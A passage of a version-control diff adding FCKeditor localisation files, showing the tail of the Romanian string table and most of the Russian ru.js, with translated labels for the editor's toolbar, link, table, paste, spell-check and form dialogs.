+DlgFlashScaleAll	: "Arată tot",
+DlgFlashScaleNoBorder	: "Fără margini (No border)",
+DlgFlashScaleFit	: "Potriveşte",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Link (Legătură web)",
+DlgLnkInfoTab		: "Informaţii despre link (Legătură web)",
+DlgLnkTargetTab		: "Ţintă (Target)",
+
+DlgLnkType			: "Tipul link-ului (al legăturii web)",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Ancoră în această pagină",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protocol",
+DlgLnkProtoOther	: "<altul>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Selectaţi o ancoră",
+DlgLnkAnchorByName	: "după numele ancorei",
+DlgLnkAnchorById	: "după Id-ul elementului",
+DlgLnkNoAnchors		: "<Nicio ancoră disponibilă în document>",
+DlgLnkEMail			: "Adresă de e-mail",
+DlgLnkEMailSubject	: "Subiectul mesajului",
+DlgLnkEMailBody		: "Conţinutul mesajului",
+DlgLnkUpload		: "Încarcă",
+DlgLnkBtnUpload		: "Trimite la server",
+
+DlgLnkTarget		: "Ţintă (Target)",
+DlgLnkTargetFrame	: "<frame>",
+DlgLnkTargetPopup	: "<fereastra popup>",
+DlgLnkTargetBlank	: "Fereastră nouă (_blank)",
+DlgLnkTargetParent	: "Fereastra părinte (_parent)",
+DlgLnkTargetSelf	: "Aceeaşi fereastră (_self)",
+DlgLnkTargetTop		: "Fereastra din topul ierarhiei (_top)",
+DlgLnkTargetFrameName	: "Numele frame-ului ţintă",
+DlgLnkPopWinName	: "Numele ferestrei popup",
+DlgLnkPopWinFeat	: "Proprietăţile ferestrei popup",
+DlgLnkPopResize		: "Scalabilă",
+DlgLnkPopLocation	: "Bara de locaţie",
+DlgLnkPopMenu		: "Bara de meniu",
+DlgLnkPopScroll		: "Scroll Bars",
+DlgLnkPopStatus		: "Bara de status",
+DlgLnkPopToolbar	: "Bara de opţiuni",
+DlgLnkPopFullScrn	: "Tot ecranul (Full Screen)(IE)",
+DlgLnkPopDependent	: "Dependent (Netscape)",
+DlgLnkPopWidth		: "Lăţime",
+DlgLnkPopHeight		: "Înălţime",
+DlgLnkPopLeft		: "Poziţia la stânga",
+DlgLnkPopTop		: "Poziţia la dreapta",
+
+DlnLnkMsgNoUrl		: "Vă rugăm să scrieţi URL-ul",
+DlnLnkMsgNoEMail	: "Vă rugăm să scrieţi adresa de e-mail",
+DlnLnkMsgNoAnchor	: "Vă rugăm să selectaţi o ancoră",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Selectează culoare",
+DlgColorBtnClear	: "Curăţă",
+DlgColorHighlight	: "Subliniază (Highlight)",
+DlgColorSelected	: "Selectat",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Inserează o figură expresivă (Emoticon)",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Selectează caracter special",
+
+// Table Dialog
+DlgTableTitle		: "Proprietăţile tabelului",
+DlgTableRows		: "Linii",
+DlgTableColumns		: "Coloane",
+DlgTableBorder		: "Mărimea marginii",
+DlgTableAlign		: "Aliniament",
+DlgTableAlignNotSet	: "<Nesetat>",
+DlgTableAlignLeft	: "Stânga",
+DlgTableAlignCenter	: "Centru",
+DlgTableAlignRight	: "Dreapta",
+DlgTableWidth		: "Lăţime",
+DlgTableWidthPx		: "pixeli",
+DlgTableWidthPc		: "procente",
+DlgTableHeight		: "Înălţime",
+DlgTableCellSpace	: "Spaţiu între celule",
+DlgTableCellPad		: "Spaţiu în cadrul celulei",
+DlgTableCaption		: "Titlu (Caption)",
+DlgTableSummary		: "Rezumat",
+
+// Table Cell Dialog
+DlgCellTitle		: "Proprietăţile celulei",
+DlgCellWidth		: "Lăţime",
+DlgCellWidthPx		: "pixeli",
+DlgCellWidthPc		: "procente",
+DlgCellHeight		: "Înălţime",
+DlgCellWordWrap		: "Desparte cuvintele (Wrap)",
+DlgCellWordWrapNotSet	: "<Nesetat>",
+DlgCellWordWrapYes	: "Da",
+DlgCellWordWrapNo	: "Nu",
+DlgCellHorAlign		: "Aliniament orizontal",
+DlgCellHorAlignNotSet	: "<Nesetat>",
+DlgCellHorAlignLeft	: "Stânga",
+DlgCellHorAlignCenter	: "Centru",
+DlgCellHorAlignRight: "Dreapta",
+DlgCellVerAlign		: "Aliniament vertical",
+DlgCellVerAlignNotSet	: "<Nesetat>",
+DlgCellVerAlignTop	: "Sus",
+DlgCellVerAlignMiddle	: "Mijloc",
+DlgCellVerAlignBottom	: "Jos",
+DlgCellVerAlignBaseline	: "Linia de jos (Baseline)",
+DlgCellRowSpan		: "Lungimea în linii (Span)",
+DlgCellCollSpan		: "Lungimea în coloane (Span)",
+DlgCellBackColor	: "Culoarea fundalului",
+DlgCellBorderColor	: "Culoarea marginii",
+DlgCellBtnSelect	: "Selectaţi...",
+
+// Find Dialog
+DlgFindTitle		: "Găseşte",
+DlgFindFindBtn		: "Găseşte",
+DlgFindNotFoundMsg	: "Textul specificat nu a fost găsit.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Replace",
+DlgReplaceFindLbl		: "Găseşte:",
+DlgReplaceReplaceLbl	: "Înlocuieşte cu:",
+DlgReplaceCaseChk		: "Deosebeşte majuscule de minuscule (Match case)",
+DlgReplaceReplaceBtn	: "Înlocuieşte",
+DlgReplaceReplAllBtn	: "Înlocuieşte tot",
+DlgReplaceWordChk		: "Doar cuvintele întregi",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Setările de securitate ale navigatorului (browser) pe care îl folosiţi nu permit editorului să execute automat operaţiunea de adăugare. Vă rugăm folosiţi tastatura (Ctrl+V).",
+PasteErrorCut	: "Setările de securitate ale navigatorului (browser) pe care îl folosiţi nu permit editorului să execute automat operaţiunea de tăiere. Vă rugăm folosiţi tastatura (Ctrl+X).",
+PasteErrorCopy	: "Setările de securitate ale navigatorului (browser) pe care îl folosiţi nu permit editorului să execute automat operaţiunea de copiere. Vă rugăm folosiţi tastatura (Ctrl+C).",
+
+PasteAsText		: "Adaugă ca text simplu (Plain Text)",
+PasteFromWord	: "Adaugă din Word",
+
+DlgPasteMsg2	: "Vă rugăm adăugaţi în căsuţa următoare folosind tastatura (<STRONG>Ctrl+V</STRONG>) şi apăsaţi <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignoră definiţiile Font Face",
+DlgPasteRemoveStyles	: "Şterge definiţiile stilurilor",
+DlgPasteCleanBox		: "Şterge căsuţa",
+
+// Color Picker
+ColorAutomatic	: "Automatic",
+ColorMoreColors	: "Mai multe culori...",
+
+// Document Properties
+DocProps		: "Proprietăţile documentului",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Proprietăţile ancorei",
+DlgAnchorName		: "Numele ancorei",
+DlgAnchorErrorName	: "Vă rugăm scrieţi numele ancorei",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Nu e în dicţionar",
+DlgSpellChangeTo		: "Schimbă în",
+DlgSpellBtnIgnore		: "Ignoră",
+DlgSpellBtnIgnoreAll	: "Ignoră toate",
+DlgSpellBtnReplace		: "Înlocuieşte",
+DlgSpellBtnReplaceAll	: "Înlocuieşte tot",
+DlgSpellBtnUndo			: "Starea anterioară (undo)",
+DlgSpellNoSuggestions	: "- Fără sugestii -",
+DlgSpellProgress		: "Verificarea textului în desfăşurare...",
+DlgSpellNoMispell		: "Verificarea textului terminată: Nicio greşeală găsită",
+DlgSpellNoChanges		: "Verificarea textului terminată: Niciun cuvânt modificat",
+DlgSpellOneChange		: "Verificarea textului terminată: Un cuvânt modificat",
+DlgSpellManyChanges		: "Verificarea textului terminată: 1% cuvinte modificate",
+
+IeSpellDownload			: "Unealta pentru verificat textul (Spell checker) neinstalată. Doriţi să o descărcaţi acum?",
+
+// Button Dialog
+DlgButtonText		: "Text (Valoare)",
+DlgButtonType		: "Tip",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Nume",
+DlgCheckboxValue	: "Valoare",
+DlgCheckboxSelected	: "Selectat",
+
+// Form Dialog
+DlgFormName		: "Nume",
+DlgFormAction	: "Acţiune",
+DlgFormMethod	: "Metodă",
+
+// Select Field Dialog
+DlgSelectName		: "Nume",
+DlgSelectValue		: "Valoare",
+DlgSelectSize		: "Mărime",
+DlgSelectLines		: "linii",
+DlgSelectChkMulti	: "Permite selecţii multiple",
+DlgSelectOpAvail	: "Opţiuni disponibile",
+DlgSelectOpText		: "Text",
+DlgSelectOpValue	: "Valoare",
+DlgSelectBtnAdd		: "Adaugă",
+DlgSelectBtnModify	: "Modifică",
+DlgSelectBtnUp		: "Sus",
+DlgSelectBtnDown	: "Jos",
+DlgSelectBtnSetValue : "Setează ca valoare selectată",
+DlgSelectBtnDelete	: "Şterge",
+
+// Textarea Dialog
+DlgTextareaName	: "Nume",
+DlgTextareaCols	: "Coloane",
+DlgTextareaRows	: "Linii",
+
+// Text Field Dialog
+DlgTextName			: "Nume",
+DlgTextValue		: "Valoare",
+DlgTextCharWidth	: "Lărgimea caracterului",
+DlgTextMaxChars		: "Caractere maxime",
+DlgTextType			: "Tip",
+DlgTextTypeText		: "Text",
+DlgTextTypePass		: "Parolă",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Nume",
+DlgHiddenValue	: "Valoare",
+
+// Bulleted List Dialog
+BulletedListProp	: "Proprietăţile listei punctate (Bulleted List)",
+NumberedListProp	: "Proprietăţile listei numerotate (Numbered List)",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Tip",
+DlgLstTypeCircle	: "Cerc",
+DlgLstTypeDisc		: "Disc",
+DlgLstTypeSquare	: "Pătrat",
+DlgLstTypeNumbers	: "Numere (1, 2, 3)",
+DlgLstTypeLCase		: "Minuscule-litere mici (a, b, c)",
+DlgLstTypeUCase		: "Majuscule (A, B, C)",
+DlgLstTypeSRoman	: "Cifre romane mici (i, ii, iii)",
+DlgLstTypeLRoman	: "Cifre romane mari (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "General",
+DlgDocBackTab		: "Fundal",
+DlgDocColorsTab		: "Culori si margini",
+DlgDocMetaTab		: "Meta Data",
+
+DlgDocPageTitle		: "Titlul paginii",
+DlgDocLangDir		: "Descrierea limbii",
+DlgDocLangDirLTR	: "stânga-dreapta (LTR)",
+DlgDocLangDirRTL	: "dreapta-stânga (RTL)",
+DlgDocLangCode		: "Codul limbii",
+DlgDocCharSet		: "Encoding setului de caractere",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Alt encoding al setului de caractere",
+
+DlgDocDocType		: "Document Type Heading",
+DlgDocDocTypeOther	: "Alt Document Type Heading",
+DlgDocIncXHTML		: "Include declaraţii XHTML",
+DlgDocBgColor		: "Culoarea fundalului (Background Color)",
+DlgDocBgImage		: "URL-ul imaginii din fundal (Background Image URL)",
+DlgDocBgNoScroll	: "Fundal neflotant, fix (Nonscrolling Background)",
+DlgDocCText			: "Text",
+DlgDocCLink			: "Link (Legătură web)",
+DlgDocCVisited		: "Link (Legătură web) vizitat",
+DlgDocCActive		: "Link (Legătură web) activ",
+DlgDocMargins		: "Marginile paginii",
+DlgDocMaTop			: "Sus",
+DlgDocMaLeft		: "Stânga",
+DlgDocMaRight		: "Dreapta",
+DlgDocMaBottom		: "Jos",
+DlgDocMeIndex		: "Cuvinte cheie după care se va indexa documentul (separate prin virgulă)",
+DlgDocMeDescr		: "Descrierea documentului",
+DlgDocMeAuthor		: "Autor",
+DlgDocMeCopy		: "Drepturi de autor",
+DlgDocPreview		: "Previzualizare",
+
+// Templates Dialog
+Templates			: "Template-uri (şabloane)",
+DlgTemplatesTitle	: "Template-uri (şabloane) de conţinut",
+DlgTemplatesSelMsg	: "Vă rugăm selectaţi template-ul (şablonul) ce se va deschide în editor<br>(conţinutul actual va fi pierdut):",
+DlgTemplatesLoading	: "Se încarcă lista cu template-uri (şabloane). Vă rugăm aşteptaţi...",
+DlgTemplatesNoTpl	: "(Niciun template (şablon) definit)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Despre",
+DlgAboutBrowserInfoTab	: "Informaţii browser",
+DlgAboutLicenseTab	: "Licenţă",
+DlgAboutVersion		: "versiune",
+DlgAboutLicense		: "Licenţiat sub termenii GNU Lesser General Public License",
+DlgAboutInfo		: "Pentru informaţii amănunţite, vizitaţi"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ru.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ru.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ru.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: ru.js
+ * 	Russian language file.
+ * 
+ * File Authors:
+ * 		Andrey Grebnev (andrey.grebnev@blandware.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Свернуть панель инструментов",
+ToolbarExpand		: "Развернуть панель инструментов",
+
+// Toolbar Items and Context Menu
+Save				: "Сохранить",
+NewPage				: "Новая страница",
+Preview				: "Предварительный просмотр",
+Cut					: "Вырезать",
+Copy				: "Копировать",
+Paste				: "Вставить",
+PasteText			: "Вставить только текст",
+PasteWord			: "Вставить из Word",
+Print				: "Печать",
+SelectAll			: "Выделить все",
+RemoveFormat		: "Убрать форматирование",
+InsertLinkLbl		: "Ссылка",
+InsertLink			: "Вставить/Редактировать ссылку",
+RemoveLink			: "Убрать ссылку",
+Anchor				: "Вставить/Редактировать якорь",
+InsertImageLbl		: "Изображение",
+InsertImage			: "Вставить/Редактировать изображение",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Вставить/Редактировать Flash",
+InsertTableLbl		: "Таблица",
+InsertTable			: "Вставить/Редактировать таблицу",
+InsertLineLbl		: "Линия",
+InsertLine			: "Вставить горизонтальную линию",
+InsertSpecialCharLbl: "Специальный символ",
+InsertSpecialChar	: "Вставить специальный символ",
+InsertSmileyLbl		: "Смайлик",
+InsertSmiley		: "Вставить смайлик",
+About				: "О FCKeditor",
+Bold				: "Жирный",
+Italic				: "Курсив",
+Underline			: "Подчеркнутый",
+StrikeThrough		: "Зачеркнутый",
+Subscript			: "Подстрочный индекс",
+Superscript			: "Надстрочный индекс",
+LeftJustify			: "По левому краю",
+CenterJustify		: "По центру",
+RightJustify		: "По правому краю",
+BlockJustify		: "По ширине",
+DecreaseIndent		: "Уменьшить отступ",
+IncreaseIndent		: "Увеличить отступ",
+Undo				: "Отменить",
+Redo				: "Повторить",
+NumberedListLbl		: "Нумерованный список",
+NumberedList		: "Вставить/Удалить нумерованный список",
+BulletedListLbl		: "Маркированный список",
+BulletedList		: "Вставить/Удалить маркированный список",
+ShowTableBorders	: "Показать бордюры таблицы",
+ShowDetails			: "Показать детали",
+Style				: "Стиль",
+FontFormat			: "Форматирование",
+Font				: "Шрифт",
+FontSize			: "Размер",
+TextColor			: "Цвет текста",
+BGColor				: "Цвет фона",
+Source				: "Источник",
+Find				: "Найти",
+Replace				: "Заменить",
+SpellCheck			: "Проверить орфографию",
+UniversalKeyboard	: "Универсальная клавиатура",
+PageBreakLbl		: "Разрыв страницы",
+PageBreak			: "Вставить разрыв страницы",
+
+Form			: "Форма",
+Checkbox		: "Флаговая кнопка",
+RadioButton		: "Кнопка выбора",
+TextField		: "Текстовое поле",
+Textarea		: "Текстовая область",
+HiddenField		: "Скрытое поле",
+Button			: "Кнопка",
+SelectionField	: "Список",
+ImageButton		: "Кнопка с изображением",
+
+FitWindow		: "Развернуть окно редактора",
+
+// Context Menu
+EditLink			: "Вставить ссылку",
+CellCM				: "Ячейка",
+RowCM				: "Строка",
+ColumnCM			: "Колонка",
+InsertRow			: "Вставить строку",
+DeleteRows			: "Удалить строки",
+InsertColumn		: "Вставить колонку",
+DeleteColumns		: "Удалить колонки",
+InsertCell			: "Вставить ячейку",
+DeleteCells			: "Удалить ячейки",
+MergeCells			: "Соединить ячейки",
+SplitCell			: "Разбить ячейку",
+TableDelete			: "Удалить таблицу",
+CellProperties		: "Свойства ячейки",
+TableProperties		: "Свойства таблицы",
+ImageProperties		: "Свойства изображения",
+FlashProperties		: "Свойства Flash",
+
+AnchorProp			: "Свойства якоря",
+ButtonProp			: "Свойства кнопки",
+CheckboxProp		: "Свойства флаговой кнопки",
+HiddenFieldProp		: "Свойства скрытого поля",
+RadioButtonProp		: "Свойства кнопки выбора",
+ImageButtonProp		: "Свойства кнопки с изображением",
+TextFieldProp		: "Свойства текстового поля",
+SelectionFieldProp	: "Свойства списка",
+TextareaProp		: "Свойства текстовой области",
+FormProp			: "Свойства формы",
+
+FontFormats			: "Нормальный;Форматированный;Адрес;Заголовок 1;Заголовок 2;Заголовок 3;Заголовок 4;Заголовок 5;Заголовок 6;Нормальный (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Обработка XHTML. Пожалуйста подождите...",
+Done				: "Сделано",
+PasteWordConfirm	: "Текст, который вы хотите вставить, похож на копируемый из Word. Вы хотите очистить его перед вставкой?",
+NotCompatiblePaste	: "Эта команда доступна для Internet Explorer версии 5.5 или выше. Вы хотите вставить без очистки?",
+UnknownToolbarItem	: "Не известный элемент панели инструментов \"%1\"",
+UnknownCommand		: "Не известное имя команды \"%1\"",
+NotImplemented		: "Команда не реализована",
+UnknownToolbarSet	: "Панель инструментов \"%1\" не существует",
+NoActiveX			: "Настройки безопасности вашего браузера могут ограничивать некоторые свойства редактора. Вы должны включить опцию \"Запускать элементы управления ActiveX и плугины\". Вы можете видеть ошибки и замечать отсутствие возможностей.",
+BrowseServerBlocked : "Ресурсы браузера не могут быть открыты. Проверьте что блокировки всплывающих окон выключены.",
+DialogBlocked		: "Не возможно открыть окно диалога. Проверьте что блокировки всплывающих окон выключены.",
+
+// Dialogs
+DlgBtnOK			: "ОК",
+DlgBtnCancel		: "Отмена",
+DlgBtnClose			: "Закрыть",
+DlgBtnBrowseServer	: "Просмотреть на сервере",
+DlgAdvancedTag		: "Расширенный",
+DlgOpOther			: "<Другое>",
+DlgInfoTab			: "Информация",
+DlgAlertUrl			: "Пожалуйста вставьте URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<не определено>",
+DlgGenId			: "Идентификатор",
+DlgGenLangDir		: "Направление языка",
+DlgGenLangDirLtr	: "Слева на право (LTR)",
+DlgGenLangDirRtl	: "Справа на лево (RTL)",
+DlgGenLangCode		: "Язык",
+DlgGenAccessKey		: "Горячая клавиша",
+DlgGenName			: "Имя",
+DlgGenTabIndex		: "Последовательность перехода",
+DlgGenLongDescr		: "Длинное описание URL",
+DlgGenClass			: "Класс CSS",
+DlgGenTitle			: "Заголовок",
+DlgGenContType		: "Тип содержимого",
+DlgGenLinkCharset	: "Кодировка",
+DlgGenStyle			: "Стиль CSS",
+
+// Image Dialog
+DlgImgTitle			: "Свойства изображения",
+DlgImgInfoTab		: "Информация о изображении",
+DlgImgBtnUpload		: "Послать на сервер",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Закачать",
+DlgImgAlt			: "Альтернативный текст",
+DlgImgWidth			: "Ширина",
+DlgImgHeight		: "Высота",
+DlgImgLockRatio		: "Сохранять пропорции",
+DlgBtnResetSize		: "Сбросить размер",
+DlgImgBorder		: "Бордюр",
+DlgImgHSpace		: "Горизонтальный отступ",
+DlgImgVSpace		: "Вертикальный отступ",
+DlgImgAlign			: "Выравнивание",
+DlgImgAlignLeft		: "По левому краю",
+DlgImgAlignAbsBottom: "Абс понизу",
+DlgImgAlignAbsMiddle: "Абс посередине",
+DlgImgAlignBaseline	: "По базовой линии",
+DlgImgAlignBottom	: "Понизу",
+DlgImgAlignMiddle	: "Посередине",
+DlgImgAlignRight	: "По правому краю",
+DlgImgAlignTextTop	: "Текст наверху",
+DlgImgAlignTop		: "По верху",
+DlgImgPreview		: "Предварительный просмотр",
+DlgImgAlertUrl		: "Пожалуйста введите URL изображения",
+DlgImgLinkTab		: "Ссылка",
+
+// Flash Dialog
+DlgFlashTitle		: "Свойства Flash",
+DlgFlashChkPlay		: "Авто проигрывание",
+DlgFlashChkLoop		: "Повтор",
+DlgFlashChkMenu		: "Включить меню Flash",
+DlgFlashScale		: "Масштабировать",
+DlgFlashScaleAll	: "Показывать все",
+DlgFlashScaleNoBorder	: "Без бордюра",
+DlgFlashScaleFit	: "Точное совпадение",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Ссылка",
+DlgLnkInfoTab		: "Информация ссылки",
+DlgLnkTargetTab		: "Цель",
+
+DlgLnkType			: "Тип ссылки",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Якорь на эту страницу",
+DlgLnkTypeEMail		: "Эл. почта",
+DlgLnkProto			: "Протокол",
+DlgLnkProtoOther	: "<другое>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Выберите якорь",
+DlgLnkAnchorByName	: "По имени якоря",
+DlgLnkAnchorById	: "По идентификатору элемента",
+DlgLnkNoAnchors		: "<Нет якорей доступных в этом документе>",
+DlgLnkEMail			: "Адрес эл. почты",
+DlgLnkEMailSubject	: "Заголовок сообщения",
+DlgLnkEMailBody		: "Тело сообщения",
+DlgLnkUpload		: "Закачать",
+DlgLnkBtnUpload		: "Послать на сервер",
+
+DlgLnkTarget		: "Цель",
+DlgLnkTargetFrame	: "<фрейм>",
+DlgLnkTargetPopup	: "<всплывающее окно>",
+DlgLnkTargetBlank	: "Новое окно (_blank)",
+DlgLnkTargetParent	: "Родительское окно (_parent)",
+DlgLnkTargetSelf	: "Тоже окно (_self)",
+DlgLnkTargetTop		: "Самое верхнее окно (_top)",
+DlgLnkTargetFrameName	: "Имя целевого фрейма",
+DlgLnkPopWinName	: "Имя всплывающего окна",
+DlgLnkPopWinFeat	: "Свойства всплывающего окна",
+DlgLnkPopResize		: "Изменяющееся в размерах",
+DlgLnkPopLocation	: "Панель локации",
+DlgLnkPopMenu		: "Панель меню",
+DlgLnkPopScroll		: "Полосы прокрутки",
+DlgLnkPopStatus		: "Строка состояния",
+DlgLnkPopToolbar	: "Панель инструментов",
+DlgLnkPopFullScrn	: "Полный экран (IE)",
+DlgLnkPopDependent	: "Зависимый (Netscape)",
+DlgLnkPopWidth		: "Ширина",
+DlgLnkPopHeight		: "Высота",
+DlgLnkPopLeft		: "Позиция слева",
+DlgLnkPopTop		: "Позиция сверху",
+
+DlnLnkMsgNoUrl		: "Пожалуйста введите URL ссылки",
+DlnLnkMsgNoEMail	: "Пожалуйста введите адрес эл. почты",
+DlnLnkMsgNoAnchor	: "Пожалуйста выберете якорь",
+DlnLnkMsgInvPopName	: "Название вспывающего окна должно начинаться буквы и не может содержать пробелов",
+
+// Color Dialog
+DlgColorTitle		: "Выберите цвет",
+DlgColorBtnClear	: "Очистить",
+DlgColorHighlight	: "Подсвеченный",
+DlgColorSelected	: "Выбранный",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Вставить смайлик",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Выберите специальный символ",
+
+// Table Dialog
+DlgTableTitle		: "Свойства таблицы",
+DlgTableRows		: "Строки",
+DlgTableColumns		: "Колонки",
+DlgTableBorder		: "Размер бордюра",
+DlgTableAlign		: "Выравнивание",
+DlgTableAlignNotSet	: "<Не уст.>",
+DlgTableAlignLeft	: "Слева",
+DlgTableAlignCenter	: "По центру",
+DlgTableAlignRight	: "Справа",
+DlgTableWidth		: "Ширина",
+DlgTableWidthPx		: "пикселей",
+DlgTableWidthPc		: "процентов",
+DlgTableHeight		: "Высота",
+DlgTableCellSpace	: "Промежуток (spacing)",
+DlgTableCellPad		: "Отступ (padding)",
+DlgTableCaption		: "Заголовок",
+DlgTableSummary		: "Резюме",
+
+// Table Cell Dialog
+DlgCellTitle		: "Свойства ячейки",
+DlgCellWidth		: "Ширина",
+DlgCellWidthPx		: "пикселей",
+DlgCellWidthPc		: "процентов",
+DlgCellHeight		: "Высота",
+DlgCellWordWrap		: "Заворачивание текста",
+DlgCellWordWrapNotSet	: "<Не уст.>",
+DlgCellWordWrapYes	: "Да",
+DlgCellWordWrapNo	: "Нет",
+DlgCellHorAlign		: "Гор. выравнивание",
+DlgCellHorAlignNotSet	: "<Не уст.>",
+DlgCellHorAlignLeft	: "Слева",
+DlgCellHorAlignCenter	: "По центру",
+DlgCellHorAlignRight: "Справа",
+DlgCellVerAlign		: "Верт. выравнивание",
+DlgCellVerAlignNotSet	: "<Не уст.>",
+DlgCellVerAlignTop	: "Сверху",
+DlgCellVerAlignMiddle	: "Посередине",
+DlgCellVerAlignBottom	: "Снизу",
+DlgCellVerAlignBaseline	: "По базовой линии",
+DlgCellRowSpan		: "Диапазон строк (span)",
+DlgCellCollSpan		: "Диапазон колонок (span)",
+DlgCellBackColor	: "Цвет фона",
+DlgCellBorderColor	: "Цвет бордюра",
+DlgCellBtnSelect	: "Выберите...",
+
+// Find Dialog
+DlgFindTitle		: "Найти",
+DlgFindFindBtn		: "Найти",
+DlgFindNotFoundMsg	: "Указанный текст не найден.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Заменить",
+DlgReplaceFindLbl		: "Найти:",
+DlgReplaceReplaceLbl	: "Заменить на:",
+DlgReplaceCaseChk		: "Учитывать регистр",
+DlgReplaceReplaceBtn	: "Заменить",
+DlgReplaceReplAllBtn	: "Заменить все",
+DlgReplaceWordChk		: "Совпадение целых слов",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Настройки безопасности вашего браузера не позволяют редактору автоматически выполнять операции вставки. Пожалуйста используйте клавиатуру для этого (Ctrl+V).",
+PasteErrorCut	: "Настройки безопасности вашего браузера не позволяют редактору автоматически выполнять операции вырезания. Пожалуйста используйте клавиатуру для этого (Ctrl+X).",
+PasteErrorCopy	: "Настройки безопасности вашего браузера не позволяют редактору автоматически выполнять операции копирования. Пожалуйста используйте клавиатуру для этого (Ctrl+C).",
+
+PasteAsText		: "Вставить только текст",
+PasteFromWord	: "Вставить из Word",
+
+DlgPasteMsg2	: "Пожалуйста вставьте текст в прямоугольник используя сочетание клавиш (<STRONG>Ctrl+V</STRONG>) и нажмите <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Игнорировать определения гарнитуры",
+DlgPasteRemoveStyles	: "Убрать определения стилей",
+DlgPasteCleanBox		: "Очистить",
+
+// Color Picker
+ColorAutomatic	: "Автоматический",
+ColorMoreColors	: "Цвета...",
+
+// Document Properties
+DocProps		: "Свойства документа",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Свойства якоря",
+DlgAnchorName		: "Имя якоря",
+DlgAnchorErrorName	: "Пожалуйста введите имя якоря",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Нет в словаре",
+DlgSpellChangeTo		: "Заменить на",
+DlgSpellBtnIgnore		: "Игнорировать",
+DlgSpellBtnIgnoreAll	: "Игнорировать все",
+DlgSpellBtnReplace		: "Заменить",
+DlgSpellBtnReplaceAll	: "Заменить все",
+DlgSpellBtnUndo			: "Отменить",
+DlgSpellNoSuggestions	: "- Нет предположений -",
+DlgSpellProgress		: "Идет проверка орфографии...",
+DlgSpellNoMispell		: "Проверка орфографии закончена: ошибок не найдено",
+DlgSpellNoChanges		: "Проверка орфографии закончена: ни одного слова не изменено",
+DlgSpellOneChange		: "Проверка орфографии закончена: одно слово изменено",
+DlgSpellManyChanges		: "Проверка орфографии закончена: 1% слов изменен",
+
+IeSpellDownload			: "Модуль проверки орфографии не установлен. Хотите скачать его сейчас?",
+
+// Button Dialog
+DlgButtonText		: "Текст (Значение)",
+DlgButtonType		: "Тип",
+DlgButtonTypeBtn	: "Кнопка",
+DlgButtonTypeSbm	: "Отправить",
+DlgButtonTypeRst	: "Сбросить",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Имя",
+DlgCheckboxValue	: "Значение",
+DlgCheckboxSelected	: "Выбранная",
+
+// Form Dialog
+DlgFormName		: "Имя",
+DlgFormAction	: "Действие",
+DlgFormMethod	: "Метод",
+
+// Select Field Dialog
+DlgSelectName		: "Имя",
+DlgSelectValue		: "Значение",
+DlgSelectSize		: "Размер",
+DlgSelectLines		: "линии",
+DlgSelectChkMulti	: "Разрешить множественный выбор",
+DlgSelectOpAvail	: "Доступные варианты",
+DlgSelectOpText		: "Текст",
+DlgSelectOpValue	: "Значение",
+DlgSelectBtnAdd		: "Добавить",
+DlgSelectBtnModify	: "Модифицировать",
+DlgSelectBtnUp		: "Вверх",
+DlgSelectBtnDown	: "Вниз",
+DlgSelectBtnSetValue : "Установить как выбранное значение",
+DlgSelectBtnDelete	: "Удалить",
+
